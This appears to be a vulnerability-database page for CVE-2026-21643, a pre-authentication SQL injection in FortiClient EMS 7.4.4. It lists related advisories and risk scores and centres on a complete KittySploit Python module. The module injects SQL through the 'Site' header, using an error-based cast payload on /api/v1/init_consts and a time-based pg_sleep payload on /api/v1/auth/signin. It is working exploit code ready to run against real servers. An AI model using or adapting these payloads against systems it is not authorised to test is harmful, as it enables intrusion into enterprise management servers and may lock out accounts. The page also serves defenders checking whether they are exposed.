FortiClient EMS CVE-2026-21643 pre-auth SQLi confirmation
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| CVE-2026-21643 | 6 Feb 202608:24 | – | attackerkb | |
| Fortinet FortiClient Enterprise Management Server Command Execution | 9 Feb 202600:00 | – | bdu_fstec | |
| CVE-2026-21643 | 6 Feb 202610:00 | – | circl | |
| Fortinet FortiClient EMS SQL Injection Vulnerability | 13 Apr 202600:00 | – | cisa_kev | |
| CISA Adds Seven Known Exploited Vulnerabilities to Catalog | 13 Apr 202612:00 | – | cisa | |
| Fortinet FortiClientEMS SQL注入漏洞 | 6 Feb 202600:00 | – | cnnvd | |
| CVE-2026-21643 | 6 Feb 202608:24 | – | cve | |
| CVE-2026-21643 | 6 Feb 202608:24 | – | cvelist | |
| EUVD-2026-5681 | 6 Feb 202608:24 | – | euvd | |
| Fortinet FortiClient EMS 7.4.4 SQLi (FG-IR-25-1142) | 1 Apr 202600:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import time
from typing import Tuple
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
"name": "FortiClient EMS CVE-2026-21643 pre-auth SQLi confirmation",
"description": (
"Actively confirms CVE-2026-21643 (FortiClient EMS 7.4.4 multi-tenant) by "
"injecting SQL through the Site HTTP header. Default path is error-based "
"GET /api/v1/init_consts (safe, no lockout). Optional time-based POST "
"/api/v1/auth/signin (locks out after ~3 attempts)."
),
"author": ["Alireza", "Bishop Fox", "KittySploit Team"],
"cve": ["CVE-2026-21643"],
"references": [
"https://fortiguard.fortinet.com/psirt/FG-IR-25-1142",
"https://bishopfox.com/blog/cve-2026-21643-pre-authentication-sql-injection-in-forticlient-ems-7-4-4",
"https://nvd.nist.gov/vuln/detail/CVE-2026-21643"],
"tags": [
"fortinet",
"forticlient",
"ems",
"sqli",
"pre-auth",
"postgresql",
"cve-2026-21643"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation", "network_probe"],
"expected_requests": 2,
"reversible": True,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals"],
"cost": 1.0,
"noise": 0.4,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": ["forticlient", "fortinet", "ems"],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": ["/api/v1/init_consts"],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [],
},
},
}
port = OptPort(443, "FortiClient EMS HTTPS port", True)
ssl = OptBool(True, "Use HTTPS", True, advanced=True)
endpoint = OptChoice(
"init",
"Probe endpoint: init (error-based), signin (time-based), both",
required=False,
choices=["init", "signin", "both"],
)
marker = OptString(
"ks_cve_2026_21643_test",
"Unique string cast to int for error-based reflection",
required=False,
advanced=True,
)
sleep_seconds = OptInteger(
5,
"pg_sleep() seconds for signin time-based probe (pgbouncer may double it)",
required=False,
advanced=True,
)
def _opt(self, option):
if hasattr(option, "value"):
return option.value
return option
def _timeout(self) -> int:
return max(int(self.timeout or 15), 10)
def _check_init_consts(self) -> Tuple[bool, str]:
marker = str(self._opt(self.marker) or "ks_cve_2026_21643_test").strip()
# Break out of SET search_path and force a PostgreSQL cast error that echoes the marker.
payload = f"x'; SELECT CAST('{marker}' AS int)--"
response = self.http_request(
method="GET",
path="/api/v1/init_consts",
headers={"Site": payload, "Connection": "close"},
allow_redirects=False,
timeout=self._timeout(),
)
if not response:
return False, "No response from /api/v1/init_consts"
body = response.text or ""
if response.status_code == 500 and marker in body:
leak = re.sub(r"\s+", " ", body).strip()[:300]
return True, f"Error-based SQLi confirmed on init_consts (HTTP 500): {leak}"
return False, (
f"init_consts did not reflect cast error "
f"(HTTP {response.status_code})"
)
def _check_signin(self) -> Tuple[bool, str]:
sleep_s = max(int(self._opt(self.sleep_seconds) or 5), 1)
# pgbouncer may execute twice → expect ~2x sleep.
payload = f"x'; SELECT pg_sleep({sleep_s})--"
timeout = max(self._timeout(), sleep_s * 3 + 10)
start = time.time()
baseline_resp = self.http_request(
method="POST",
path="/api/v1/auth/signin",
headers={"Site": "default", "Connection": "close"},
allow_redirects=False,
timeout=timeout,
)
baseline = time.time() - start
if not baseline_resp:
return False, "No baseline response from /api/v1/auth/signin"
start = time.time()
injected_resp = self.http_request(
method="POST",
path="/api/v1/auth/signin",
headers={"Site": payload, "Connection": "close"},
allow_redirects=False,
timeout=timeout,
)
injected = time.time() - start
# Read timeout / missing response after long wait often means sleep executed.
if injected_resp is None and injected >= (baseline + sleep_s * 1.5):
return True, (
f"Time-based SQLi likely on auth/signin "
f"(baseline={baseline:.2f}s, timeout/hang={injected:.2f}s)"
)
# Expect ~2x pg_sleep under pgbouncer; require clear delta vs baseline.
threshold = baseline + max(sleep_s * 1.5, 8)
if injected >= threshold:
return True, (
f"Time-based SQLi confirmed on auth/signin "
f"(baseline={baseline:.2f}s, injected={injected:.2f}s)"
)
return False, (
f"No significant delay on auth/signin "
f"(baseline={baseline:.2f}s, injected={injected:.2f}s)"
)
def check(self):
selected = str(self._opt(self.endpoint) or "init")
if selected in ("init", "both"):
ok, reason = self._check_init_consts()
if ok:
return {"vulnerable": True, "reason": reason, "confidence": "high"}
if selected == "init":
return {"vulnerable": False, "reason": reason, "confidence": "medium"}
if selected in ("signin", "both"):
ok, reason = self._check_signin()
return {
"vulnerable": ok,
"reason": reason,
"confidence": "high" if ok else "medium",
}
return {"vulnerable": False, "reason": "No endpoint selected", "confidence": "low"}
def run(self):
print_status("CVE-2026-21643 — FortiClient EMS pre-auth SQLi confirmation")
selected = str(self._opt(self.endpoint) or "init")
found = False
if selected in ("init", "both"):
print_status("Testing error-based SQLi on /api/v1/init_consts")
ok, reason = self._check_init_consts()
if ok:
print_success(reason)
found = True
else:
print_info(reason)
if selected in ("signin", "both"):
print_warning(
"auth/signin probe may lock accounts after ~3 failed attempts"
)
print_status("Testing time-based SQLi on /api/v1/auth/signin")
ok, reason = self._check_signin()
if ok:
print_success(reason)
found = True
else:
print_info(reason)
if not found:
print_error("Target does not appear vulnerable to CVE-2026-21643")
return False
return True
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02 Aug 2026 20:51Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.93871
SSVC